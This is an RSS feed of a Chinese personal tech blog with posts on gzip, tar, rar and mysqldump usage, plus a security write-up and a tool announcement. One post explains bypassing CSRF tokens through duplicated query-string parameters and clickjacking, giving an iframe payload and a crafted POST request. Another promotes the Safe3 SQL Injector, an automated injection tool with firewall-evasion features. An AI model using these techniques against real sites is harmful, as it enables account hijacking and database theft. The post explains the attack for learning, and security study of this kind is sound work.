<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>坏人咖啡的窝</title>
	<atom:link href="http://huairen.me/feed" rel="self" type="application/rss+xml" />
	<link>http://huairen.me</link>
	<description>做一个简简单单的坏人</description>
	<lastBuildDate>Wed, 10 Mar 2010 01:14:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Linux下gzip命令详解</title>
		<link>http://huairen.me/archives/387.html</link>
		<comments>http://huairen.me/archives/387.html#comments</comments>
		<pubDate>Tue, 09 Mar 2010 02:21:38 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[gzip]]></category>
		<category><![CDATA[命令]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=387</guid>
		<description><![CDATA[减少文件大小有两个明显的好处，一是可以减少存储空间，二是通过网络传输文件时，可以减少传输的时间。gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。
语法：gzip ［选项］ 压缩（解压缩）的文件名
各选项的含义：
-c 将输出写到标准输出上，并保留原有文件。
-d 将压缩文件解压。
-l 对每个压缩文件，显示下列字段：
压缩文件的大小
未压缩文件的大小
压缩比
未压缩文件的名字
-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。
-t 测试，检查压缩文件是否完整。
-v 对每一个压缩和解压的文件，显示文件名和压缩比。
-num 用指定的数字num调整压缩的速度，-1或&#8211;fast表示最快压缩方法（低压缩比），-9或&#8211;best表示最慢压缩方法（高压缩比）。系统缺省值为6。
假设一个目录/home下有文件mm.txt、sort.txt、xx.com。
例1：把/home目录下的每个文件压缩成.gz文件。
$ cd /home
$ gzip *
$ ls
m.txt.gz sort.txt.gz xx.com.gz
例2：把例1中每个压缩的文件解压，并列出详细的信息。
$ gzip -dv *
mm.txt.gz 43.1%&#8212;&#8211;replaced with mm.txt
sort.txt.gz 43.1%&#8212;&#8211;replaced with sort.txt
xx.com.gz 43.1%&#8212;&#8211;replaced with xx.com
$ ls
mm.txt sort.txt xx.com
例3：详细显示例1中每个压缩的文件的信息，并不解压。
$ gzip -l *
compressed uncompr. ratio uncompressed_name
277 445 43.1% mm.txt
278 445 43.1% sort.txt
277 445 43.1% xx.com
$ ls
mm.txt.gz sort.txt.gz xx.com.gz
例4：压缩一个tar备份文件，如usr.tar，此时压缩文件的扩展名为.tar.gz
$ gzip usr.tar
$ ls
usr.tar.gz
]]></description>
			<content:encoded><![CDATA[<p>减少文件大小有两个明显的好处，一是可以减少存储空间，二是通过网络传输文件时，可以减少传输的时间。gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。</p>
<p>语法：gzip ［选项］ 压缩（解压缩）的文件名</p>
<p>各选项的含义：</p>
<p>-c 将输出写到标准输出上，并保留原有文件。</p>
<p>-d 将压缩文件解压。</p>
<p>-l 对每个压缩文件，显示下列字段：</p>
<p>压缩文件的大小</p>
<p>未压缩文件的大小</p>
<p>压缩比</p>
<p>未压缩文件的名字</p>
<p>-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。</p>
<p>-t 测试，检查压缩文件是否完整。</p>
<p>-v 对每一个压缩和解压的文件，显示文件名和压缩比。</p>
<p>-num 用指定的数字num调整压缩的速度，-1或&#8211;fast表示最快压缩方法（低压缩比），-9或&#8211;best表示最慢压缩方法（高压缩比）。系统缺省值为6。</p>
<p>假设一个目录/home下有文件mm.txt、sort.txt、xx.com。</p>
<p>例1：把/home目录下的每个文件压缩成.gz文件。</p>
<p>$ cd /home</p>
<p>$ gzip *</p>
<p>$ ls</p>
<p>m.txt.gz sort.txt.gz xx.com.gz</p>
<p>例2：把例1中每个压缩的文件解压，并列出详细的信息。</p>
<p>$ gzip -dv *</p>
<p>mm.txt.gz 43.1%&#8212;&#8211;replaced with mm.txt</p>
<p>sort.txt.gz 43.1%&#8212;&#8211;replaced with sort.txt</p>
<p>xx.com.gz 43.1%&#8212;&#8211;replaced with xx.com</p>
<p>$ ls</p>
<p>mm.txt sort.txt xx.com</p>
<p>例3：详细显示例1中每个压缩的文件的信息，并不解压。</p>
<p>$ gzip -l *</p>
<p>compressed uncompr. ratio uncompressed_name</p>
<p>277 445 43.1% mm.txt</p>
<p>278 445 43.1% sort.txt</p>
<p>277 445 43.1% xx.com</p>
<p>$ ls</p>
<p>mm.txt.gz sort.txt.gz xx.com.gz</p>
<p>例4：压缩一个tar备份文件，如usr.tar，此时压缩文件的扩展名为.tar.gz</p>
<p>$ gzip usr.tar</p>
<p>$ ls</p>
<p>usr.tar.gz</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/387.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下tar命令使用详解</title>
		<link>http://huairen.me/archives/385.html</link>
		<comments>http://huairen.me/archives/385.html#comments</comments>
		<pubDate>Tue, 09 Mar 2010 02:19:51 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[tar]]></category>
		<category><![CDATA[命令]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=385</guid>
		<description><![CDATA[tar可以为文件和目录创建档案。利用tar，用户可以为某一特定文件创建档案（备份文件），也可以在档案中改变文件，或者向档案中加入新的文件。 tar最初被用来在磁带上创建档案，现在，用户可以在任何设备上创建档案，如软盘。利用tar命令，可以把一大堆的文件和目录全部打包成一个文件，这对于 备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。
语法：tar ［主选项+辅选项］ 文件或者目录
使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。
主选项：
c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。
r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追加到备份文件中。
t 列出档案文件的内容，查看已经备份了哪些文件。
u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。
x 从档案文件中释放文件。
辅助选项：
b 该选项是为磁带机设定的。其后跟一数字，用来说明区块的大小，系统预设值为20（20*512 bytes）。
f 使用档案文件或设备，这个选项通常是必选的。
k 保存已经存在的文件。例如我们把某个文件还原，在还原的过程中，遇到相同的文件，不会进行覆盖。
m 在还原文件时，把所有文件的修改时间设定为现在。
M 创建多卷的档案文件，以便在几个磁盘中存放。
v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。
w 每一步都要求确认。
z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。
例1：把/home目录下包括它的子目录全部做备份文件，备份文件名为usr.tar。
$ tar cvf usr.tar /home
例2：把/home目录下包括它的子目录全部做备份文件，并进行压缩，备份文件名为usr.tar.gz 。
$ tar czvf usr.tar.gz /home
例3：把usr.tar.gz这个备份文件还原并解压缩。
$ tar xzvf usr.tar.gz
例4：查看usr.tar备份文件的内容，并以分屏方式显示在显示器上。
$ tar tvf usr.tar &#124; more
要将文件备份到一个特定的设备，只需把设备名作为备份文件名。
例5：用户在/dev/fd0设备的软盘中创建一个备份文件，并将/home 目录中所有的文件都拷贝到备份文件中。
$ tar cf /dev/fd0 /home
要恢复设备磁盘中的文件，可使用xf选项：
$ tar xf /dev/fd0
如果用户备份的文件大小超过设备可用的存贮空间，如软盘，您可以创建一个多卷的tar备份文件。M选项指示tar命令提示您使用一个新的存贮 设备，当使用M选项向一个软驱进行存档时，tar命令在一张软盘已满的时候会提醒您再放入一张新的软盘。这样您就可以把tar档案存入几张磁盘中。
$ tar cMf /dev/fd0 /home
要恢复几张盘中的档案，只要将第一张放入软驱，然后输入有x和M选项的tar命令。在必要时您会被提醒放入另外一张软盘。
$ tar xMf /dev/fd0
]]></description>
			<content:encoded><![CDATA[<p>tar可以为文件和目录创建档案。利用tar，用户可以为某一特定文件创建档案（备份文件），也可以在档案中改变文件，或者向档案中加入新的文件。 tar最初被用来在磁带上创建档案，现在，用户可以在任何设备上创建档案，如软盘。利用tar命令，可以把一大堆的文件和目录全部打包成一个文件，这对于 备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。</p>
<p>语法：tar ［主选项+辅选项］ 文件或者目录</p>
<p>使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。</p>
<p>主选项：</p>
<p>c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。</p>
<p>r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追加到备份文件中。</p>
<p>t 列出档案文件的内容，查看已经备份了哪些文件。</p>
<p>u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。</p>
<p>x 从档案文件中释放文件。</p>
<p>辅助选项：</p>
<p>b 该选项是为磁带机设定的。其后跟一数字，用来说明区块的大小，系统预设值为20（20*512 bytes）。</p>
<p>f 使用档案文件或设备，这个选项通常是必选的。</p>
<p>k 保存已经存在的文件。例如我们把某个文件还原，在还原的过程中，遇到相同的文件，不会进行覆盖。</p>
<p>m 在还原文件时，把所有文件的修改时间设定为现在。</p>
<p>M 创建多卷的档案文件，以便在几个磁盘中存放。</p>
<p>v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。</p>
<p>w 每一步都要求确认。</p>
<p>z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。</p>
<p>例1：把/home目录下包括它的子目录全部做备份文件，备份文件名为usr.tar。</p>
<p>$ tar cvf usr.tar /home</p>
<p>例2：把/home目录下包括它的子目录全部做备份文件，并进行压缩，备份文件名为usr.tar.gz 。</p>
<p>$ tar czvf usr.tar.gz /home</p>
<p>例3：把usr.tar.gz这个备份文件还原并解压缩。</p>
<p>$ tar xzvf usr.tar.gz</p>
<p>例4：查看usr.tar备份文件的内容，并以分屏方式显示在显示器上。</p>
<p>$ tar tvf usr.tar | more</p>
<p>要将文件备份到一个特定的设备，只需把设备名作为备份文件名。</p>
<p>例5：用户在/dev/fd0设备的软盘中创建一个备份文件，并将/home 目录中所有的文件都拷贝到备份文件中。</p>
<p>$ tar cf /dev/fd0 /home</p>
<p>要恢复设备磁盘中的文件，可使用xf选项：</p>
<p>$ tar xf /dev/fd0</p>
<p>如果用户备份的文件大小超过设备可用的存贮空间，如软盘，您可以创建一个多卷的tar备份文件。M选项指示tar命令提示您使用一个新的存贮 设备，当使用M选项向一个软驱进行存档时，tar命令在一张软盘已满的时候会提醒您再放入一张新的软盘。这样您就可以把tar档案存入几张磁盘中。</p>
<p>$ tar cMf /dev/fd0 /home</p>
<p>要恢复几张盘中的档案，只要将第一张放入软驱，然后输入有x和M选项的tar命令。在必要时您会被提醒放入另外一张软盘。</p>
<p>$ tar xMf /dev/fd0</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/385.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下rar命令详解</title>
		<link>http://huairen.me/archives/383.html</link>
		<comments>http://huairen.me/archives/383.html#comments</comments>
		<pubDate>Tue, 09 Mar 2010 02:16:37 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[rar]]></category>
		<category><![CDATA[命令]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=383</guid>
		<description><![CDATA[记录一下，自己老是忘掉这些命令，索性就收集下来入到博客了！
如果是以tarball形式安装安装，去rar网站下载相应版本的tarball。地址为http://www.rarlab.com/
以3.8版本为例，如果是i386的平台,执行以下命令：
$wget http://www.rarlab.com/rar/rarlinux-3.8.0.tar.gz
rar软件不需要安装，直接解压到/usr/local下，以下操作需要有root权限。
#tar zxvf rarlinux-3.8.0.tar.gz -C /usr/local
此时，/usr/local/rar下就会有rar命令和unrar命令。可以在/usr/local/bin下创建连接
#ln -s /usr/local/rar/rar /usr/local/bin/rar
#ln -s /usr/local/rar/unrar /usr/local/bin/unrar
如果是debian或者unbuntu，可以使用如下命令进行自动安装。
$sudo apt-get install rar
$sudo apt-get install unrar
注意：rar的&#60;命令&#62;部分不带&#8221;-&#8221;号，只有&#60;选项&#62;部分带&#8221;-&#8221;号，这一点注意一下。
例1：添加文件或目录到压缩档案中，使用a命令。例如把文件files1添加到abc.rar中，使用a或m命令,a命令把file1文件添加到abc.rar档案中保持原有的file1文件不变，m命令移动file1文件到file1.rar档案中(压缩完成后会删除原有的file1文件，注意：m命令只针对文件进行操作)
$rar a abc.rar file1
说明：如果此时abc.rar档案不存在，会自行创建abc.rar文档案，如果abc.rar档案已经存在，则将file1文件压缩进abc.rar档案中，若abc.rar档案中已存在一个file1文件，则会更新file1文件。并且原有的file1文件依然存在于当前目录下，若要将file1文件移动到file1.rar中请使用m命令，对于目录同样可以进行此操作。
注意：如果只输入&#8221;rar a file1.rar&#8221;命令,而没有接文件名或目录名的话，会将当前目录下所有的文件和文件夹压缩进file1.rar文档中。这点要注意一下。
例2：解压缩abc.rar档案中的内容，可以使用e或x命令,假设abc.rar目录中有一个名为file1的文件和一个名为test的目录，test目录中有一个名为file2的文件，
$rar e abc.rar
说明：使用e命令，会将abc.rar中的file1文件连同test目录下的file2文件解压到当前目录。如果想保持abc.rar目录中的目录结构请使用x命令。
$rar x abc.rar
说明：此时会将file1文件和test目录解压到当前文件夹。
例3：为整个压缩文件添加注释
$rar c abc.rar
说明：输入该命令后，屏幕最下方会显示
Processing archive test.
rarReading comment from stdin
并有一个光标在闪烁，从光标闪烁的位置输入注释信息，输入完了按下Ctrl+D结束输入
例4:为压缩文件中的单个文件添加注释，使用cf命令。假如现在要为abc.rar档案中的file1文件添加注释
$rar ch abc.rar file1
此时屏幕最下方会显示
Reading comment for abc.rar : file1 from stdin
从光标闪烁出输入想要为file1添加的注释，Ctrl+D结束输入
例4:把整个档案的注释写入到一个文件中，使用cw命令。加入要将abc.rar的注释写入到test.txt文件中
$rar cw abc.rar test.txt
说明：如果当前目录下不存在名为test.txt的文件，则会自行创建一个名为test.txt的文件，并将abc.rar的注释写入到text.txt文件中，如果当前目录中已经存在一个名为text.txt的文件，则会提示你是否覆盖已经存在的文件，如果选择Yes或者All,则会清空test.txt中原有的内容，然后将abc.rar的注释内容写入到text.txt文件中。
例4：删除压缩档案中的文件或目录，使用d命令。例如要删除abc.rar档案中的file1文件。
$rar d abc.rar file1
说明：该命令删除abc.rar档案中的file1文件，对于目录同样有效。
以上为常用的压缩与解压缩命令，&#60;选项&#62;部分的使用不再进行介绍了，请大家自己尝试一下吧。
解压缩命令unrar的使用：
$unrar &#8211;help
用法:     unrar &#60;command&#62; -&#60;switch 1&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>记录一下，自己老是忘掉这些命令，索性就收集下来入到博客了！</p>
<p>如果是以tarball形式安装安装，去rar网站下载相应版本的tarball。地址为http://www.rarlab.com/<br />
以3.8版本为例，如果是i386的平台,执行以下命令：<br />
$wget http://www.rarlab.com/rar/rarlinux-3.8.0.tar.gz</p>
<p>rar软件不需要安装，直接解压到/usr/local下，以下操作需要有root权限。</p>
<p>#tar zxvf rarlinux-3.8.0.tar.gz -C /usr/local</p>
<p>此时，/usr/local/rar下就会有rar命令和unrar命令。可以在/usr/local/bin下创建连接</p>
<p>#ln -s /usr/local/rar/rar /usr/local/bin/rar<br />
#ln -s /usr/local/rar/unrar /usr/local/bin/unrar</p>
<p>如果是debian或者unbuntu，可以使用如下命令进行自动安装。</p>
<p>$sudo apt-get install rar<br />
$sudo apt-get install unrar</p>
<p>注意：rar的&lt;命令&gt;部分不带&#8221;-&#8221;号，只有&lt;选项&gt;部分带&#8221;-&#8221;号，这一点注意一下。</p>
<p>例1：添加文件或目录到压缩档案中，使用a命令。例如把文件files1添加到abc.rar中，使用a或m命令,a命令把file1文件添加到abc.rar档案中保持原有的file1文件不变，m命令移动file1文件到file1.rar档案中(压缩完成后会删除原有的file1文件，注意：m命令只针对文件进行操作)<br />
$rar a abc.rar file1</p>
<p>说明：如果此时abc.rar档案不存在，会自行创建abc.rar文档案，如果abc.rar档案已经存在，则将file1文件压缩进abc.rar档案中，若abc.rar档案中已存在一个file1文件，则会更新file1文件。并且原有的file1文件依然存在于当前目录下，若要将file1文件移动到file1.rar中请使用m命令，对于目录同样可以进行此操作。<br />
注意：如果只输入&#8221;rar a file1.rar&#8221;命令,而没有接文件名或目录名的话，会将当前目录下所有的文件和文件夹压缩进file1.rar文档中。这点要注意一下。</p>
<p>例2：解压缩abc.rar档案中的内容，可以使用e或x命令,假设abc.rar目录中有一个名为file1的文件和一个名为test的目录，test目录中有一个名为file2的文件，<br />
$rar e abc.rar</p>
<p>说明：使用e命令，会将abc.rar中的file1文件连同test目录下的file2文件解压到当前目录。如果想保持abc.rar目录中的目录结构请使用x命令。<br />
$rar x abc.rar</p>
<p>说明：此时会将file1文件和test目录解压到当前文件夹。</p>
<p>例3：为整个压缩文件添加注释<br />
$rar c abc.rar</p>
<p>说明：输入该命令后，屏幕最下方会显示<br />
Processing archive test.<br />
rarReading comment from stdin</p>
<p>并有一个光标在闪烁，从光标闪烁的位置输入注释信息，输入完了按下Ctrl+D结束输入</p>
<p>例4:为压缩文件中的单个文件添加注释，使用cf命令。假如现在要为abc.rar档案中的file1文件添加注释<br />
$rar ch abc.rar file1</p>
<p>此时屏幕最下方会显示<br />
Reading comment for abc.rar : file1 from stdin</p>
<p>从光标闪烁出输入想要为file1添加的注释，Ctrl+D结束输入</p>
<p>例4:把整个档案的注释写入到一个文件中，使用cw命令。加入要将abc.rar的注释写入到test.txt文件中<br />
$rar cw abc.rar test.txt</p>
<p>说明：如果当前目录下不存在名为test.txt的文件，则会自行创建一个名为test.txt的文件，并将abc.rar的注释写入到text.txt文件中，如果当前目录中已经存在一个名为text.txt的文件，则会提示你是否覆盖已经存在的文件，如果选择Yes或者All,则会清空test.txt中原有的内容，然后将abc.rar的注释内容写入到text.txt文件中。</p>
<p>例4：删除压缩档案中的文件或目录，使用d命令。例如要删除abc.rar档案中的file1文件。<br />
$rar d abc.rar file1</p>
<p>说明：该命令删除abc.rar档案中的file1文件，对于目录同样有效。</p>
<p>以上为常用的压缩与解压缩命令，&lt;选项&gt;部分的使用不再进行介绍了，请大家自己尝试一下吧。</p>
<p>解压缩命令unrar的使用：</p>
<p>$unrar &#8211;help</p>
<p>用法:     unrar &lt;command&gt; -&lt;switch 1&gt; -&lt;switch N&gt; &lt;archive&gt; &lt;files&#8230;&gt;<br />
               &lt;@listfiles&#8230;&gt; &lt;path_to_extract\&gt;</p>
<p>&lt;命令&gt;<br />
  e             解压文件到当前目录<br />
  l[t,b]        列出压缩文档信息[technical, bare]<br />
  p             打印文件到标准输出<br />
  t             测试压缩我俄当<br />
  v[t,b]        列出压缩文档的详细信息[technical,bare]<br />
  x             解压文件到完整路径</p>
<p>以下为&lt;选项&gt;部分，略去。</p>
<p>unrar的命令和rar具有同样的效果，可以看出unrar只包含了rar的一部分命令而已，因此使用rar就可以完成所有操作。</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/383.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql数据库备份命令</title>
		<link>http://huairen.me/archives/380.html</link>
		<comments>http://huairen.me/archives/380.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 02:56:14 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[备份]]></category>
		<category><![CDATA[数据库]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=380</guid>
		<description><![CDATA[1:备份MySQL数据库为带删除表的格式
  mysqldump -hhostname -uusername -ppassword databasename &#62; backupfile.sql
2:备份MySQL数据库为带删除表的格式，能够让该备份覆盖已有数据库而不需要手动删除原有数据库.
 mysqldump -–add-drop-table -uusername -ppassword databasename &#62; backupfile.sql
3:直接将MySQL数据库压缩备份
mysqldump -hhostname -uusername -ppassword databasename &#124; gzip &#62; backupfile.sql.gz
4:备份MySQL数据库某个(些)表
mysqldump -hhostname -uusername -ppassword databasename specific_table1 specific_table2 &#62; backupfile.sql
5:同时备份多个MySQL数据库
mysqldump -hhostname -uusername -ppassword –databases databasename1 databasename2 databasename3 &#62; multibackupfile.sql
6:仅仅备份数据库结构
mysqldump –no-data –databases databasename1 databasename2 databasename3 &#62; structurebackupfile.sql
7:备份服务器上所有数据库
mysqldump –all-databases &#62; allbackupfile.sql
8:还原MySQL数据库的命令
mysql -hhostname -uusername -ppassword databasename &#60; backupfile.sql
9:还原压缩的MySQL数据库
gunzip [...]]]></description>
			<content:encoded><![CDATA[<p>1:备份MySQL数据库为带删除表的格式</p>
<p>  mysqldump -hhostname -uusername -ppassword databasename &gt; backupfile.sql</p>
<p>2:备份MySQL数据库为带删除表的格式，能够让该备份覆盖已有数据库而不需要手动删除原有数据库.</p>
<p> mysqldump -–add-drop-table -uusername -ppassword databasename &gt; backupfile.sql<br />
3:直接将MySQL数据库压缩备份<br />
mysqldump -hhostname -uusername -ppassword databasename | gzip &gt; backupfile.sql.gz</p>
<p>4:备份MySQL数据库某个(些)表<br />
mysqldump -hhostname -uusername -ppassword databasename specific_table1 specific_table2 &gt; backupfile.sql<br />
5:同时备份多个MySQL数据库<br />
mysqldump -hhostname -uusername -ppassword –databases databasename1 databasename2 databasename3 &gt; multibackupfile.sql<br />
6:仅仅备份数据库结构<br />
mysqldump –no-data –databases databasename1 databasename2 databasename3 &gt; structurebackupfile.sql</p>
<p>7:备份服务器上所有数据库<br />
mysqldump –all-databases &gt; allbackupfile.sql<br />
8:还原MySQL数据库的命令<br />
mysql -hhostname -uusername -ppassword databasename &lt; backupfile.sql<br />
9:还原压缩的MySQL数据库<br />
gunzip &lt; backupfile.sql.gz | mysql -uusername -ppassword databasename<br />
10:将数据库转移到新服务器<br />
mysqldump -uusername -ppassword databasename | mysql –host=*.*.*.* -C databasename</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/380.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>绕过CSRF防御的一种方法</title>
		<link>http://huairen.me/archives/378.html</link>
		<comments>http://huairen.me/archives/378.html#comments</comments>
		<pubDate>Fri, 05 Mar 2010 08:05:53 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[攻击]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=378</guid>
		<description><![CDATA[作者：xisigr
CSRF产生的本质在于，WEB主要依赖于使用cookie来传递令牌。只要WEB应用程序依赖于HTTPcookie来传递会话令牌，那么本身就存在攻击的可能性。所以，Monyer着手从cookie上面来防御CSRF的思路还是很赞的。
Monyer的两篇文章：
http://hi.baidu.com/monyer/blog/item/6097347a958babe62e73b3bf.html
http://hi.baidu.com/monyer/blog/item/00427989bbf8edb80e244420.html
防御CSRF现在最普遍的方法是使用token。通常，在第一阶段应用程序在一个隐藏的表单字段中放入一个token；在第二个阶段，程序确认这个 token是否被提交。由于CRSF是单向性的，因此实施攻击的WEB站点无法从第一个阶段获取到token,然后再第二阶段提交。如果程序使用这两个步骤，但并不保证token安全，那么这种防御就是形同虚设，因此CSRF攻击者只需轮流提出两个必要的请求，或是直接进入第二个求情。
现在例举在JSP和ASP.NET平台下，绕过CSRF保护的一种方法。
一个简单的升级Email ID的例子，服务端程序使用了token来防止csrf攻击：
客户端：
&#60;form method="POST"&#62;
&#60;input type="text" name="email" value=""&#62;&#60;/input&#62;
&#60;input type="hidden" name="csrf-token" value="a0a0a0a0a0a"/&#62;
&#60;/form&#62;

服务端：

if ( request.parameter("email").isSet() &#38;&#38; request.parameter("csrf-token").isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}


假设通过某些方法（例如：ClickJacking），攻击者在页面中插入下面一段代码：
&#60;iframe src="http://www.example.com/updateEmail.jsp?email=evil@attackermail.com"&#62;

然后使用ClickJacking发送到服务器请求。请求提交内容为：



POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&#38;csrf-token=a0a0a0a0a0


在POST数据中email的参数是空。
现在我们请求了两个“email”参数，一个在POST中，一个在QueryString中。当服务端request.parameter(&#8220;email&#8221;)时,取出的将是QueryString中的数据，而不是POST中的。这样我们就更新了攻击者的Email。
相关资料：http://blog.andlabs.org/2010/03/bypassing-csrf-protections- with.html （在这篇文章中，作者是想通过ClickJacking和HPP这两种攻击方式的组合来绕过CSRF防御，但我们不要陷入ClickJacking和 HPP这两概念上，只要看到过程和结果都是正确的就好。）
]]></description>
			<content:encoded><![CDATA[<p>作者：xisigr</p>
<p>CSRF产生的本质在于，WEB主要依赖于使用cookie来传递令牌。只要WEB应用程序依赖于HTTPcookie来传递会话令牌，那么本身就存在攻击的可能性。所以，Monyer着手从cookie上面来防御CSRF的思路还是很赞的。<br />
Monyer的两篇文章：</p>
<p>http://hi.baidu.com/monyer/blog/item/6097347a958babe62e73b3bf.html</p>
<p>http://hi.baidu.com/monyer/blog/item/00427989bbf8edb80e244420.html</p>
<p>防御CSRF现在最普遍的方法是使用token。通常，在第一阶段应用程序在一个隐藏的表单字段中放入一个token；在第二个阶段，程序确认这个 token是否被提交。由于CRSF是单向性的，因此实施攻击的WEB站点无法从第一个阶段获取到token,然后再第二阶段提交。如果程序使用这两个步骤，但并不保证token安全，那么这种防御就是形同虚设，因此CSRF攻击者只需轮流提出两个必要的请求，或是直接进入第二个求情。</p>
<p>现在例举在JSP和ASP.NET平台下，绕过CSRF保护的一种方法。</p>
<p>一个简单的升级Email ID的例子，服务端程序使用了token来防止csrf攻击：</p>
<p>客户端：</p>
<pre><code><span style="color: #ff0000;">&lt;form method="POST"&gt;
&lt;input type="text" name="email" value=""&gt;&lt;/input&gt;
&lt;input type="hidden" name="csrf-token" value="a0a0a0a0a0a"/&gt;
&lt;/form&gt;</span>
</code></pre>
<p>服务端：</p>
<pre><code>
<span style="color: #ff0000;">if ( request.parameter("email").isSet() &amp;&amp; request.parameter("csrf-token").isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}</span>
</code></pre>
<pre><code>
假设通过某些方法（例如：ClickJacking），攻击者在页面中插入下面一段代码：
<span style="color: #ff0000;">&lt;iframe src="http://www.example.com/updateEmail.jsp?email=evil@attackermail.com"&gt;</span>
</code></pre>
<p>然后使用ClickJacking发送到服务器请求。请求提交内容为：</p>
<pre><code>

<span style="color: #ff0000;">
POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&amp;csrf-token=a0a0a0a0a0</span>

</code></pre>
<p>在POST数据中email的参数是空。</p>
<p>现在我们请求了两个“email”参数，一个在POST中，一个在QueryString中。当服务端request.parameter(&#8220;email&#8221;)时,取出的将是QueryString中的数据，而不是POST中的。这样我们就更新了攻击者的Email。</p>
<p>相关资料：http://blog.andlabs.org/2010/03/bypassing-csrf-protections- with.html （在这篇文章中，作者是想通过ClickJacking和HPP这两种攻击方式的组合来绕过CSRF防御，但我们不要陷入ClickJacking和 HPP这两概念上，只要看到过程和结果都是正确的就好。）</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/378.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Safe3 SQL Injector 3.0免费版</title>
		<link>http://huairen.me/archives/374.html</link>
		<comments>http://huairen.me/archives/374.html#comments</comments>
		<pubDate>Fri, 05 Mar 2010 07:57:39 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[工具收集]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[检测]]></category>
		<category><![CDATA[注入]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=374</guid>
		<description><![CDATA[来源：woyigui

大牛的作品应该很不错
以下是功能介绍
1.全面支持HTTP类型
    * 支持HTTP 1.0/1.1；
    * 支持POST/GET /Cookie方法；
    * 支持Basic/NTLM /Digest验证；
    * 支持基于公钥或者私钥的 SSL；
2.全面的数据库类型识别   
    * 支持MS Access；
    * 支持MS SQL Server；
    * 支持Mysql Server；
    * 支持Oracle Server；
    * 支持Postgre SQL Server；
    * 支持 Informix SQL Server；
    * 支持Sybase SQL Server；
    * 支持DB2 SQL Server；
    * 支持Sqlite；
3.诸多领先技术
    * 全自动智能网页编码识别，告别数据库乱码；
    * 内置自动智能关键字分析，无需人工干预；
    * 支持 Error/Union/Blind等丰富sql注入方式，确保能获取数据；
    * 丰富的绕过防火墙过滤功能；
    * 内置浏览器可以注入需要登录的网站；
有兴趣的朋友可以试试！
文件下载：Safe3SQLInjector3.0免费版
]]></description>
